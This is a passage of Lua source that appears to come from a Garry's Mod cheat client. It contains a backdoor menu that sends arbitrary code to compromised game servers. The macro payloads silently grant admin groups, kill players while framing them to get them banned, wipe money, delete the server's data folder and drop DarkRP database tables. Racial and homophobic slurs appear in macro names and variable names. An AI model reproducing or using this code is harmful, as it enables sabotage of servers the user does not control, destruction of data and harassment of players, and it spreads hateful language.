8058 ["Desc"] = "First parameter = reason for kick"
8059 },
8060 ["Niggerize player"] = {
8061 ["Type"] = 2,
8062 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
8063 ["Desc"] = "Turns them black as night"
8064 },
8065 ["Cloak player"] = {
8066 ["Type"] = 2,
8067 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8068 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8069 },
8070 ["Allahu Ackbar"] = {
8071 ["Type"] = 2,
8072 ["Code"] = [[
8073
8074 local explo = ents.Create("env_explosion")
8075
8076 explo:SetOwner(v)
8077
8078 explo:SetPos(v:GetPos())
8079
8080 explo:SetKeyValue("iMagnitude", "250")
8081
8082 explo:Spawn()
8083
8084 explo:Activate()
8085
8086 explo:Fire("Explode", "", 0)
8087
8088 if v:Alive() then v:Kill() end
8089
8090 ]],
8091 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8092 },
8093 ["ULX set access"] = {
8094 ["Type"] = 2,
8095 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8096 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8097 ["NeedsParameters"] = 1
8098 },
8099 ------------------------ dangerous codens ------------------------
8100 ["DarkRP clear all money"] = {
8101 ["Type"] = 3,
8102 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8103 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8104 },
8105 ["Cleanup map"] = {
8106 ["Type"] = 3,
8107 ["Code"] = [[game.CleanUpMap()]],
8108 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8109 },
8110 ["Vaporize all players"] = {
8111 ["Type"] = 3,
8112 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8113 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8114 },
8115 ["FPP Unrestrict everything"] = {
8116 ["Type"] = 3,
8117 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8118 ["Desc"] = ""
8119 },
8120 ["Wipe data folder"] = {
8121 ["Type"] = 3,
8122 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8123 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8124 },
8125 ["Wipe DarkRP SQL Tables"] = {
8126 ["Type"] = 3,
8127 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8128 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8129 }
8130}
8131
8132local selectedbackdoor = ""
8133local backdoorargs = ""
8134local selectedplayers = {}
8135
8136function BD.GenerateBackdoorList(parent, category)
8137 for k, v in SortedPairs(BD.BDMacros, false) do
8138 if v["Type"] ~= category then continue end
8139 local plypanel2 = vgui.Create("DPanel")
8140 plypanel2:SetPos(0, 0)
8141 plypanel2:SetSize(200, 25)
8142
8143 -- Paint function
8144 plypanel2.Paint = function()
8145 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8146
8147 if selectedbackdoor == k then
8148 surface.SetDrawColor(Color(70, 130, 180, 255))
8149 else
8150 surface.SetDrawColor(Color(0, 0, 0, 255))
8151 end
8152
8153 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8154 end
8155
8156 local plyname = vgui.Create("DLabel", plypanel2)
8157 plyname:SetPos(10, 5)
8158 plyname:SetFont("Trebuchet18")
8159 local tcol = Color(255, 255, 255)
8160
8161 if v.Private then
8162 tcol = Color(155, 255, 155)
8163 end
8164
8165 plyname:SetColor(tcol)
8166 plyname:SetText(k)
8167 plyname:SetSize(180, 15)
8168 local faggot = vgui.Create("DButton", plypanel2)
8169 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8170 faggot:SetPos(0, 0)
8171 faggot:SetText("")
8172
8173 if v["Desc"] ~= "" then
8174 faggot:SetToolTip(v["Desc"])
8175 end
8176
8177 faggot.Paint = function(panel, w, h) return end
8178
8179 faggot.DoClick = function()
8180 selectedbackdoor = k
8181 end
8182
8183 parent:AddItem(plypanel2)
8184 end
8185end
8186
8187function BD.FormatCodeTargeted()
8188 if selectedbackdoor == "" then
8189 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8190
8191 return
8192 end
8193
8194 local param = string.Explode(",", backdoorargs)
8195 local ids = {}
8196
8197 for k, v in pairs(selectedplayers) do
8198 if not v:IsValid() then
8199 table.RemoveByValue(selectedplayers, v)
8200 continue
8201 end
8202
8203 table.insert(ids, v:UniqueID())
8204 end
8205
8206 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8207 code = string.Replace(code, "##", table.ToString(ids))
8208 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8209 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8210
8211 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8212 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8213
8214 return
8215 end
8216
8217 if #param < 1 then
8218 param = {
8219 [1] = "derp",
8220 [2] = "derp",
8221 [3] = "derp",
8222 [4] = "derp",
8223 [5] = "derp"
8224 }
8225 end
8226
8227 for k, v in pairs(param) do
8228 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8229 end
8230
8231 BD.Fire(code)
8232end
8233
8234function BD.FormatCodeGlobal()
8235 if selectedbackdoor == "" then
8236 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8237
8238 return
8239 end
8240
8241 local param = string.Explode(",", backdoorargs)
8242 local code = BD.BDMacros[selectedbackdoor]["Code"]
8243
8244 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8245 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8246
8247 return
8248 end
8249
8250 if #param < 1 then
8251 param = {
8252 [1] = "derp",
8253 [2] = "derp",
8254 [3] = "derp",
8255 [4] = "derp",
8256 [5] = "derp"
8257 }
8258 end
8259
8260 for k, v in pairs(param) do
8261 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8262 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8263 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8264
8265 for k, v in pairs(BackDoor_net) do
8266 code = string.Replace(code, "%BD", v.NetWork)
8267 end
8268 end
8269
8270 BD.Fire(code)
8271end
8272
8273local safenet = net
8274
8275local function bdnet()
8276 if R8 and R8.G then return R8.G.net end
8277
8278 return safenet
8279end
8280
8281function BD.Fire(code)
8282 local cbd = BD.CurrentBackdoor
8283 local key = BD.BackdoorTypes[cbd].Netkey
8284 bdnet().Start(key)
8285 bdnet().WriteString(code)
8286 bdnet().SendToServer()
8287end
8288
8289surface.CreateFont("exitmenu", {
8290 font = "Arial",
8291 size = 20,
8292 weight = 1000,
8293 shadow = false,
8294 outline = false
8295})
8296
8297local function exitmenu(panel, X, y)
8298 local CButton = vgui.Create("DButton", panel)
8299 CButton:SetTextColor(Color(150, 150, 150))
8300 CButton:SetText("Ð Ò")
8301 CButton:SetFont("exitmenu")
8302 CButton:SetPos(X, y)
8303 CButton:SetSize(50, 24)
8304
8305 CButton.DoClick = function()
8306 panel:SizeTo(0, 0, .2, 0, .2)
8307
8308 timer.Simple(0.3, function()
8309 panel:SetVisible(false)
8310 end)
8311 end
8312
8313 CButton.Paint = function(panel, w, h)
8314 surface.SetDrawColor(Color(0, 0, 0, 255))
8315 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8316 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8317 end
8318
8319 CButton.OnCursorEntered = function(self)
8320 surface.PlaySound("garrysmod/ui_hover.wav")
8321
8322 CButton.Paint = function(panel, w, h)
8323 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8324 end
8325 end
8326
8327 -------------------------------------------------------------
8328 CButton.OnCursorExited = function(self)
8329 CButton.Paint = function(panel, w, h)
8330 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8331 end
8332 end
8333 ------------------------------------------------------------------------
8334end
8335
8336local blur = Material("pp/blurscreen")
8337
8338local function DrawBlur(panel, amount)
8339 local x, y = panel:LocalToScreen(0, 0)
8340 local scrW, scrH = ScrW(), ScrH()
8341 surface.SetDrawColor(255, 255, 255)
8342 surface.SetMaterial(blur)
8343
8344 for i = 1, 3 do
8345 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8346 blur:Recompute()
8347 render.UpdateScreenEffectTexture()
8348 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8349 end
8350end
8351
8352CreateClientConVar("menu_r", "148", true, false)
8353CreateClientConVar("menu_g", "0", true, false)
8354CreateClientConVar("menu_b", "211", true, false)
8355
8356function BD.BackdoorMenu()
8357 BD.Backdoors = BD.PingBackDoors()
8358 local BDMenu = vgui.Create("DFrame")
8359 BDMenu:Center()
8360 BDMenu:SizeTo(500, 400, .3, 0, .3)
8361 exitmenu(BDMenu, 449, 1)
8362 BDMenu:SetTitle(" ")
8363 BDMenu:ShowCloseButton(false)
8364 BDMenu:SetVisible(true)
8365 BDMenu:MakePopup()
8366
8367 function BDMenu:Paint()
8368 DrawBlur(self, 5)
8369 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8370 surface.SetDrawColor(Color(0, 0, 0, 255))
8371 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8372 ---------------------------------------------------------
8373 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8374 ---------------------------------------------------------
8375 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8376 -------------------------------------------------
8377 surface.DrawOutlinedRect(0, 0, 449, 26)
8378 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8379 --
8380 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8381 ------------------------------------------------
8382 end
8383
8384 local it = 145
8385 local Plist = vgui.Create("DPanelList", BDMenu)
8386 Plist:SetPos(5, 30)
8387 Plist:SetSize(200, 315)
8388 Plist:SetPadding(5)
8389 Plist:SetSpacing(5)
8390 Plist:EnableHorizontal(false)
8391 Plist:EnableVerticalScrollbar(true)
8392 Plist:SetName("")
8393
8394 Plist.Paint = function(self, w, h)
8395 DrawBlur(self, 5)
8396 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8397 surface.SetDrawColor(Color(0, 0, 0, 255))
8398 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8399 end
8400
8401 local Plist4 = vgui.Create("DPanelList", BDMenu)
8402 Plist4:SetPos(210, 30)
8403 Plist4:SetSize(285, 315)
8404 Plist4:SetPadding(5)
8405 Plist4:SetSpacing(5)
8406 Plist4:EnableHorizontal(false)
8407 Plist4:EnableVerticalScrollbar(true)
8408 Plist4:SetName("")
8409
8410 Plist4.Paint = function(self, w, h)
8411 surface.SetDrawColor(50, 50, 50, 255)
8412 surface.DrawOutlinedRect(0, 0, w, h)
8413 surface.SetDrawColor(0, 0, 0, 200)
8414 surface.DrawRect(0, 0, w, h)
8415 end
8416
8417 local faggot = vgui.Create("DButton", BDMenu)
8418 faggot:Dock(5)
8419 faggot:SetText("Activate Backdoor!")
8420 faggot:SetTextColor(Color(255, 255, 255, 255))
8421
8422 faggot.Paint = function(panel, w, h)
8423 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8424 surface.SetDrawColor(Color(0, 0, 0, 255))
8425 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8426 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8427 end
8428
8429 faggot.DoClick = function()
8430 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8431 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8432
8433 return
8434 end
8435
8436 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8437 BD.FormatCodeGlobal()
8438 else
8439 BD.FormatCodeTargeted()
8440 end
8441
8442 surface.PlaySound("buttons/button18.wav")
8443 end
8444
8445 local moonman = vgui.Create("DTextEntry", BDMenu)
8446 moonman:Dock(5)
8447 moonman:DockMargin(0, 0, 0, 5)
8448 moonman:SetText(backdoorargs)
8449
8450 moonman.OnChange = function(self)
8451 backdoorargs = self:GetValue()
8452 end
8453
8454 -- surface.PlaySound("buttons/button3.wav")
8455 -- players list
8456 for k, v in pairs(player.GetAll()) do
8457 local plypanel2 = vgui.Create("DPanel")
8458 plypanel2:SetPos(0, 0)
8459 plypanel2:SetSize(200, 25)
8460
8461 -- Paint function
8462 plypanel2.Paint = function()
8463 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8464
8465 if table.HasValue(selectedplayers, v) then
8466 surface.SetDrawColor(Color(50, 255, 90, 255))
8467 else
8468 surface.SetDrawColor(Color(50, 50, 90, 255))
8469 end
8470
8471 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8472 end
8473
8474 local plyname = vgui.Create("DLabel", plypanel2)
8475 plyname:SetPos(10, 5)
8476 plyname:SetFont("Trebuchet18")
8477 local tcol = Color(255, 255, 255)
8478
8479 if v == LocalPlayer() then
8480 tcol = Color(155, 155, 255)
8481 end
8482
8483 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8484 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8485 plyname:SetColor(tcol)
8486 plyname:SetText(v:Nick())
8487 plyname:SetSize(180, 15)
8488 local faggot = vgui.Create("DButton", plypanel2)
8489 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8490 faggot:SetPos(0, 0)
8491 faggot:SetText("")
8492 faggot.Paint = function(panel, w, h) return end
8493
8494 faggot.DoClick = function()
8495 if table.HasValue(selectedplayers, v) then
8496 table.RemoveByValue(selectedplayers, v)
8497 else
8498 table.insert(selectedplayers, v)
8499 end
8500 end
8501
8502 Plist4:AddItem(plypanel2)
8503 end
8504
8505 BD.GenerateBackdoorList(Plist, 1)
8506 BD.GenerateBackdoorList(Plist, 2)
8507 BD.GenerateBackdoorList(Plist, 3)
8508end
8509
8510concommand.Add("lyr3x_backdoor", BD.BackdoorMenu)
8511
8512function BD.QuickFireBackdoor()
8513 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8514 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8515
8516 return
8517 end
8518
8519 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8520 BD.FormatCodeGlobal()
8521 else
8522 BD.FormatCodeTargeted()
8523 end
8524end
8525
8526concommand.Add("bd_quickfire", BD.QuickFireBackdoor)